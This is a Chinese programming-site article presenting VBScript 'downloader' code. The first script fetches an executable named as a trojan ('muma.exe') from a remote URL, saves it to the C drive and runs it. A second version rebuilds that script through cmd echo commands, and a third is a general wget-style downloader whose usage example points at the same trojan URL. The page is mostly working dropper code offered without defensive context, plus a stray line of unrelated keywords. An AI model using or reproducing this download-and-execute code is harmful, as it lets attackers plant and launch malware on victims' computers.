当前位置: 移动技术网 > IT编程>脚本编程>VBScript > VBS下载者(通过vbscript实现文件下载)

VBS下载者(通过vbscript实现文件下载)

2017年12月08日  | 移动技术网IT编程  | 我要评论

安徽事故,感谢师恩手抄报图片,佘静

一、vbs下载者:

复制代码 代码如下:

set post = createobject("msxml2.xmlhttp")
set shell = createobject("wscript.shell")
post.open "get","http://www.jbzj.com/muma.exe",0
post.send()
set aget = createobject("adodb.stream")
aget.mode = 3
aget.type = 1
aget.open()
aget.write(post.responsebody)
aget.savetofile "c:\zl.exe",2
wscript.sleep 1000
shell.run ("c:\zl.exe") '延迟过后执行下载文件

二、cmd下执行的版本:

复制代码 代码如下:

echo set post = createobject("msxml2.xmlhttp") >>zl.vbs
echo set shell = createobject("wscript.shell") >>zl.vbs
echo post.open "get","http://www.jbzj.com/muma.exe",0 >>zl.vbs
echo post.send() >>zl.vbs
echo set aget = createobject("adodb.stream") >>zl.vbs
echo aget.mode = 3 >>zl.vbs
echo aget.type = 1 >>zl.vbs
echo aget.open() >>zl.vbs
echo aget.write(post.responsebody) >>zl.vbs
echo aget.savetofile "c:\zl.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo shell.run ("c:\zl.exe") >>zl.vbs

三、wget.vbs

复制代码 代码如下:

on error resume next
ilocal=lcase(wscript.arguments(1))
iremote=lcase(wscript.arguments(0))
iuser=lcase(wscript.arguments(2))
ipass=lcase(wscript.arguments(3))
set xpost=createobject("microsoft.xmlhttp")
if iuser="" and ipass="" then
xpost.open "get",iremote,0
else
xpost.open "get",iremote,0,iuser,ipass
end if
xpost.send()
set sget=createobject("adodb.stream")
sget.mode=3
sget.type=1
sget.open()
sget.write xpost.responsebody
sget.savetofile ilocal,2

使用方法:cscript wget.vbs http://www.jbzj.com/muma.exe

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网